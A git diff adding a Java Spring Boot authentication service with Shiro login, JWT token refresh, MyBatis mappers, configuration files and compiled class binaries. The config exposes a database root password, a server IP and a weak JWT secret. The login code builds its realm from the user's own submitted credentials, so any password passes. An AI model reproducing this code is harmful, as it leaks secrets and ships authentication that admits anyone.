b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java new file mode 100644 index 0000000..9a770ef --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java @@ -0,0 +1,12 @@ +package com.auth.server.mapper; + + +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; + +@Mapper +public interface UserMangeMapper extends BaseMapper { + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java new file mode 100644 index 0000000..b555b70 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java @@ -0,0 +1,9 @@ +package com.auth.server.service; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.extension.service.IService; + +public interface PathService extends IService { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java new file mode 100644 index 0000000..d487e57 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java @@ -0,0 +1,11 @@ +package com.auth.server.service; + +import com.auth.common.entity.RolesPermission; +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; + +public interface PermissionService extends IService { + boolean permissionAdd(String roles, List codeList); +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java new file mode 100644 index 0000000..949f8b8 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java @@ -0,0 +1,15 @@ +package com.auth.server.service; + +import com.alibaba.nacos.api.model.v2.Result; +import com.auth.common.entity.UserAccount; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.etl.common.result.CommonResult; + +public interface UserManageService extends IService { + + + Result userLogin(UserAccount user); + + CommonResult refreshToken(String token); +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java new file mode 100644 index 0000000..8e4475a --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java @@ -0,0 +1,16 @@ +package com.auth.server.service.impl; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.auth.server.mapper.PathMapper; +import com.auth.server.mapper.PermissionMapper; +import com.auth.server.service.PathService; +import com.auth.server.service.PermissionService; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +@Service +@Slf4j +public class PathServiceImpl extends ServiceImpl implements PathService { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java new file mode 100644 index 0000000..dc99f92 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java @@ -0,0 +1,61 @@ +package com.auth.server.service.impl; + +import com.auth.common.entity.RolesPermission; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.mapper.PermissionMapper; +import com.auth.server.service.PermissionService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.Collections; +import java.util.List; + +@Service +@Slf4j +public class PermissionServiceImpl extends ServiceImpl implements PermissionService { + @Autowired + private PermissionMapper permissionMapper; + + @Override + public boolean permissionAdd(String roles, List codeList) { + RolesPermission rolesPermission = new RolesPermission(); + rolesPermission.setRole(roles); + int result = 0; + RolesPermission role = getRoleByName(roles); + + if (role != null) { + result = updateRolePermission(rolesPermission, role, codeList); + } else { + result = insertRolePermission(rolesPermission, codeList); + } + return result > 0; + } + + private RolesPermission getRoleByName(String roleName) { + return permissionMapper.selectOne(new QueryWrapper().eq(PermissionConstants.ROLE, roleName)); + } + + private int updateRolePermission(RolesPermission rolesPermission, RolesPermission role, List codeList) { + //去掉头尾括号,并转为列表 + List list = new java.util.ArrayList<>(Collections.singletonList( + StringUtils.strip(role.getPermissionCode(), "[]"))); + //将新数据添加至列表 + list.addAll(codeList); + + rolesPermission.setPermissionCode(list.toString()); + rolesPermission.setId(role.getId()); + return permissionMapper.updateById(rolesPermission); + } + + private int insertRolePermission(RolesPermission rolesPermission, List codeList) { + if (codeList != null) { + rolesPermission.setPermissionCode(codeList.toString()); + } + return permissionMapper.insert(rolesPermission); + } + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java new file mode 100644 index 0000000..a594d0a --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java @@ -0,0 +1,168 @@ +package com.auth.server.service.impl; + + +import com.alibaba.fastjson2.JSON; +import com.alibaba.nacos.api.model.v2.Result; +import com.auth.common.entity.UserAccount; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.config.MD5s; +import com.auth.server.mapper.UserMangeMapper; +import com.auth.server.service.UserManageService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.etl.common.enums.ResponseCodeEnum; +import com.etl.common.result.CommonResult; +import com.etl.jwt.util.JwtTokenUtil; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.*; +import org.apache.shiro.mgt.DefaultSecurityManager; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.subject.Subject; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.StringRedisTemplate; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static java.lang.System.nanoTime; + +@Service +@Slf4j +public class UserManageServiceImpl extends ServiceImpl implements UserManageService { + @Resource + private StringRedisTemplate stringRedisTemplate; + + @Resource + private JwtTokenUtil jwtTokenUtil; + + @Autowired + private UserMangeMapper UserMangeMapper; + + @Override + public Result userLogin(UserAccount user) { + long startTime = nanoTime(); + // 获取用户名 + String username = user.getUsername(); + // 获取密码 + String password = user.getPassword(); + // 参数校验 + Result result = checkUser(username, password); + if (result != null) { + return result; + } + // 创建SimpleAccountRealm并添加账户信息 + SimpleAccountRealm simpleAccountRealm = new SimpleAccountRealm(); + // 确保这里添加的用户名和密码与用户提供的匹配 + simpleAccountRealm.addAccount(username, password); + // 配置SecurityManager并设置Realm + DefaultSecurityManager securityManager = new DefaultSecurityManager(simpleAccountRealm); + securityManager.setRealm(simpleAccountRealm); + SecurityUtils.setSecurityManager(securityManager); + //shiro验证 + Subject subject = SecurityUtils.getSubject(); + //根据用户名密码生成一个令牌 + AuthenticationToken token = new UsernamePasswordToken(username, password); + try { + //执行登录操作 + subject.login(token); + //将用户信息存入redis + saveUserInfoToRedis(username, user); + } catch (UnknownAccountException e) { + log.info("登录用户不存在:{}", e); + return new Result<>(416, "用户不存在", username); + } catch (IncorrectCredentialsException e) { + log.info("登录密码错误:{}", e); + return new Result<>(412, "密码错误,请重新登录", password); + } catch (AuthenticationException e) { + log.warn("用户登录异常:" + e.getMessage()); + return new Result<>(416, "账户异常", username); + } + String userInfo = stringRedisTemplate.opsForValue().get(PermissionConstants.USER_NAME + username); + UserAccount account = null; + if (userInfo != null) { + account = JSON.parseObject(userInfo, UserAccount.class); + } else { + //获取登录用户信息 + account = UserMangeMapper.selectOne(new QueryWrapper().eq(PermissionConstants.USER_NAME, username)); + stringRedisTemplate.opsForValue().set(PermissionConstants.USER_NAME + username, JSON.toJSONString(account)); + } + // 通过 jwtTokenUtil 生成 JWT 令牌和刷新令牌 + Map tokenMap = jwtTokenUtil + .generateTokenAndRefreshToken(String.valueOf(account.getId()), username); + // 用户角色映射表中中查询用户角色 + account.getRoles(); + long endTime = nanoTime(); + // 计算耗时(单位为纳秒) + long elapsedTime = endTime - startTime; + // 将耗时转换为毫秒 + double elapsedTimeInMillis = elapsedTime / 1000000.0; + // 输出结果 + System.out.println("程序运行耗时:" + elapsedTimeInMillis + " 毫秒"); + return Result.success(tokenMap); + } + + + private void saveUserInfoToRedis(String username, UserAccount user) { + stringRedisTemplate.opsForValue().set(PermissionConstants.USER_CACHE_KEY + username, + JSON.toJSONString(user), 30 * 60, TimeUnit.MINUTES); + } + + private Result checkUser(String username, String password) { + // 检查用户名和密码的合法性 + if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) { + return new Result<>(400, "用户名或密码不能为空"); + } + if (username.length() < 3 || username.length() > 20) { + return new Result<>(400, "用户名长度必须在6-20个字符之间"); + } + if (password.length() < 3 || password.length() > 20) { + return new Result<>(400, "密码长度必须在6-20个字符之间"); + } + return null; + } + + @Override + public CommonResult refreshToken(String token) { + token = com.auth.server.util.SecurityUtils.replaceTokenPrefix(token); + + if (StringUtils.isEmpty(token)) { + return new CommonResult<>(ResponseCodeEnum.TOKEN_MISSION.getCode(), + ResponseCodeEnum.TOKEN_MISSION.getMessage()); + } + + // 对Token解签名,并验证Token是否过期 + boolean isJwtNotValid = jwtTokenUtil.isTokenExpired(token); + if (isJwtNotValid) { + return new CommonResult<>(ResponseCodeEnum.TOKEN_INVALID.getCode(), + ResponseCodeEnum.TOKEN_INVALID.getMessage()); + } + + // 验证 token 里面的 userId 是否为空 + String userId = jwtTokenUtil.getUserIdFromToken(token); + String username = jwtTokenUtil.getUserNameFromToken(token); + if (StringUtils.isEmpty(userId)) { + return new CommonResult<>(ResponseCodeEnum.TOKEN_INVALID.getCode(), + ResponseCodeEnum.TOKEN_INVALID.getMessage()); + } + + // 这里为了保证 refreshToken 只能用一次,刷新后,会从 redis 中删除。 + // 如果用的不是 redis 中的 refreshToken 进行刷新令牌,则不能刷新。 + // 如果使用 redis 中已过期的 refreshToken 也不能刷新令牌。 + boolean isRefreshTokenNotExisted = jwtTokenUtil.isRefreshTokenNotExistCache(token); + if (isRefreshTokenNotExisted) { + return new CommonResult<>(ResponseCodeEnum.REFRESH_TOKEN_INVALID.getCode(), + ResponseCodeEnum.REFRESH_TOKEN_INVALID.getMessage()); + } + + //String us = jwtTokenUtil.getUserIdFromToken(token); + Map tokenMap = jwtTokenUtil.refreshTokenAndGenerateToken(userId, username); + + return new CommonResult<>(200, ResponseCodeEnum.SUCCESS.getMessage(), tokenMap); + } + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java new file mode 100644 index 0000000..d689d0d --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java @@ -0,0 +1,37 @@ +package com.auth.server.util; + + +import com.etl.common.constants.TokenConstants; + +import javax.servlet.http.HttpServletRequest; + +import static org.apache.logging.log4j.util.Strings.isEmpty; + +/** + * 权限获取工具类 + * + */ +public class SecurityUtils +{ + + /** + * 根据request获取请求token + */ + public static String getToken(HttpServletRequest request) + { + // 从header获取token标识 + String token = request.getHeader(TokenConstants.AUTHENTICATION); + return replaceTokenPrefix(token); + } + + /** + * 裁剪token前缀 + */ + public static String replaceTokenPrefix(String token) { + // 如果前端设置了令牌前缀,则裁剪掉前缀 + if (!isEmpty(token) && token.startsWith(TokenConstants.PREFIX)) { + token = token.replaceFirst(TokenConstants.PREFIX, ""); + } + return token; + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java new file mode 100644 index 0000000..b9218f5 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java @@ -0,0 +1,65 @@ +package com.auth.server.util; + + +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.auth.server.service.UserManageService; +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.*; +import org.apache.shiro.authz.AuthorizationInfo; +import org.apache.shiro.authz.SimpleAuthorizationInfo; +import org.apache.shiro.realm.AuthorizingRealm; +import org.apache.shiro.subject.PrincipalCollection; +import org.apache.shiro.subject.Subject; +import org.apache.shiro.util.ByteSource; +import org.springframework.beans.factory.annotation.Autowired; + +@Slf4j +public class UserRealm extends AuthorizingRealm { + @Autowired + private UserManageService userManageService; + + //授权 + @Override + protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) { + + /**配置权限 + *此处User实体需配置属性roles,用户权限 + *获取当前用户对象 + * */ + SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo(); + Subject subject= SecurityUtils.getSubject(); + UserAccount currentUser =(UserAccount) subject.getPrincipal(); + authorizationInfo.addStringPermission(currentUser.getRoles()); + log.info("用户权限为:"+currentUser.getRoles()); + return authorizationInfo; + } + + //认证 + @Override + protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException { + + UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken; + //用户名/密码认证 + //从接口处获取得到的用户名 + String username = token.getUsername(); + + //调用mybatis_plus中的方法,查询数据库中用户名对应的数据 + QueryWrapper wrapper = new QueryWrapper<>(); + wrapper.eq("username",username); + UserAccount user=userManageService.getOne(wrapper); + + //为空,即用户名不存在 + if(user==null){ + return null; + }else { + log.info(user.getUsername()); + } + + //principal:认证的实体信息,可以是username,也可以是数据库表对应的用户的实体对象 + // Object principal = user.getUsername(); + ByteSource salt = ByteSource.Util.bytes(username); + return new SimpleAuthenticationInfo(user.getUsername(), user.getPassword() , salt,getName()); + } +} diff --git a/etl-auth/etl-auth-server/src/main/resources/bootstrap.yml b/etl-auth/etl-auth-server/src/main/resources/bootstrap.yml new file mode 100644 index 0000000..4edeee2 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/bootstrap.yml @@ -0,0 +1,51 @@ +server: + port: 9092 +spring: + application: + name: engine-auth + redis: + host: 115.159.33.152 + port: 6379 + datasource: + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://115.159.33.152:3306/etl + username: root + password: lzm@123 + mvc: + pathmatch: + matching-strategy: ant_path_matcher + profiles: + active: dev + cloud: + nacos: + #注册服务 + discovery: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置 + config: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置文件格式 + file-extension: yml + # 共享配置 + shared-configs: + - application-${spring.profiles.active}.${spring.cloud.nacos.config.file-extension} +logging: + level: + com.bwie: DEBUG +auth: + jwt: + enabled: true # 是否开启JWT登录认证功能 + secret: passjava # JWT 私钥,用于校验JWT令牌的合法性 + expiration: 1800000 # JWT 令牌的有效期,用于校验JWT令牌的合法性,半个小时 + header: Authorization # HTTP 请求的 Header 名称,该 Header作为参数传递 JWT 令牌 + userParamName: username # 用户登录认证用户名参数名称 + pwdParamName: password # 用户登录认证密码参数名称 + useDefaultController: true # 是否使用默认的JwtAuthController + skipValidUrl: + - /auth/login + - /auth/logout +mybatis-plus: + mapper-locations: classpath:/mapper/*mapper.xml + typeAliasesPackage: com.auth.common.entity diff --git a/etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml b/etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml new file mode 100644 index 0000000..5829ce3 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml b/etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml new file mode 100644 index 0000000..c97efca --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml b/etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml new file mode 100644 index 0000000..f74141e --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/resources/static/index.html b/etl-auth/etl-auth-server/src/main/resources/static/index.html new file mode 100644 index 0000000..f67da0a --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/static/index.html @@ -0,0 +1,6 @@ + + +hello word!!! +this is a html page + + diff --git a/etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java b/etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java new file mode 100644 index 0000000..9a5ad53 --- /dev/null +++ b/etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java @@ -0,0 +1,31 @@ +package com.auth.server; + +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; + +@SpringBootTest +class EtlAuthServerApplicationTests { + + @Autowired + private BCryptPasswordEncoder bCryptPasswordEncoder; + @Test + public void enCoder() { + String password="123"; + String encode = bCryptPasswordEncoder.encode(password); + System.out.println("加密后的密码:"+encode); + } + + @Test + public void matchesPassword(){ + String encode="$2a$10$qyOS46MrKAm2wIyJl95.eO70ioBDvsgv8nnCCjhGJUxPIhPC56PTa"; + boolean matches = bCryptPasswordEncoder.matches("123", encode); + if (matches){ + System.out.println("密码正确"); + }else { + System.out.println("密码错误"); + } + } + +} diff --git a/etl-auth/etl-auth-server/target/classes/bootstrap.yml b/etl-auth/etl-auth-server/target/classes/bootstrap.yml new file mode 100644 index 0000000..4edeee2 --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/bootstrap.yml @@ -0,0 +1,51 @@ +server: + port: 9092 +spring: + application: + name: engine-auth + redis: + host: 115.159.33.152 + port: 6379 + datasource: + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://115.159.33.152:3306/etl + username: root + password: lzm@123 + mvc: + pathmatch: + matching-strategy: ant_path_matcher + profiles: + active: dev + cloud: + nacos: + #注册服务 + discovery: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置 + config: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置文件格式 + file-extension: yml + # 共享配置 + shared-configs: + - application-${spring.profiles.active}.${spring.cloud.nacos.config.file-extension} +logging: + level: + com.bwie: DEBUG +auth: + jwt: + enabled: true # 是否开启JWT登录认证功能 + secret: passjava # JWT 私钥,用于校验JWT令牌的合法性 + expiration: 1800000 # JWT 令牌的有效期,用于校验JWT令牌的合法性,半个小时 + header: Authorization # HTTP 请求的 Header 名称,该 Header作为参数传递 JWT 令牌 + userParamName: username # 用户登录认证用户名参数名称 + pwdParamName: password # 用户登录认证密码参数名称 + useDefaultController: true # 是否使用默认的JwtAuthController + skipValidUrl: + - /auth/login + - /auth/logout +mybatis-plus: + mapper-locations: classpath:/mapper/*mapper.xml + typeAliasesPackage: com.auth.common.entity diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/EtlAuthServerApplication.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/EtlAuthServerApplication.class new file mode 100644 index 0000000000000000000000000000000000000000..839078c1e09176e721462d78dda22df59b871b1d GIT binary patch literal 1363 zcmbtU+fEZf82$!I3$+RsErOupu~g|M#&A@j3XWc2C_b05w95>` z^@RoI9(tLX^8D=fR@*sV2;B6$G`2Dl z8`4Nhb0vxB28BWhUHx6zEb2l zwThx_%U-I5*Ub`KCBfOUHZlj%p-*tlaTx|dz2-?GbT`PLjqLL@z{-H|&t4#D$|#{wf2G$CS3wD*40SU8r=cyOQNd$8VR-SsBSsZD9s0Na zt_UoxPoCGT_5EfKG@8~_r?fqOePDUoA#Fn|XJ7JH;-ri1Kt nPQh^(DZLwXPm^?J6U^WyX6Ze*iK4+RgWCpo4CW2)8r=I0tIC8W literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/config/MD5s.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/config/MD5s.class new file mode 100644 index 0000000000000000000000000000000000000000..b11995ff36a535e8a051a8340e00806ca96b17d3 GIT binary patch literal 2016 zcmbVNT~ixX7=8{U*|037iBO8QsI}5Sp$j6QP|@-w*pMnvw8gK@a+)kncH{0z2S(cq z$2%|d#tUY=aJ=!t8+wy6cBVhT|D^bA0yMPHVa!a;8qd`^eQjD}eqt@u#GypBW<4N> z7Q!Q=;f98f1!7kn*HIG!jj5g$fyk7%CIwp4jw>_eVpjUgR<=M+GVR$`Va4*D@V>{4 zsJs&hoKM?c(X`4cZwAu8Cwe&2B12%XUia`UA3H>GB23n%Hj?V8&h1)tz&MDh)yXO+ z@igUmSIJ!1zGmgk$&LMV+f(yLE={Z;-JHr-_jsO&R;eUiw!8oMNb44HuV0+mxbpU0 zwWW^q)LP=|s_JMj`&L+uR9%r@xD#w(Al1PxW~?HuXOE2Vq>%eV$IzRIUE8W>Kx@;( zm(BkGjb_6&66j+wPHH}m*Kvj~@9@{a73NCwe3>_sPi{4$y^kOsR>kLd#;VLyc!ji4 zQ^0w2@z#V_@ftZa7Jm|~iM(HXchInfSh8_jq?3^yMAMghD~MH~EhHN=ePfZ%$di$1 z<4CMM)*k&Gna)UiY-mJl*Am!$u!Hzmyfa=wQ{*>vK8Akl5t@@m1uY@7rGisq@jY&T z9W(PoO#HF?uz!1@uY%K$k)T;J8L8lMGRbx?Me8FpfnxlQtRo!MLDl*#*+Ip1dyAK(JM$3^^zH}Mm?@e3|t3q933Eh0|4 zA!=P9HHrzmK~0TFS!#E)R$Y8CUZS*-I1!|1*AP|@z2t>;{+YGC%y_q`(T9FYuaG~3 zsJ=^EO@panK*L~_7!>T=KNuCf?J~qjy%^XfPD70as=P(8A%ZpVJAR!{o#F)M@DZB+ E1L-*U%>V!Z literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/config/ShiroConfig.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/config/ShiroConfig.class new file mode 100644 index 0000000000000000000000000000000000000000..ea6fe07a3ea1eeea5228d40f97a0320aedd47526 GIT binary patch literal 2813 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 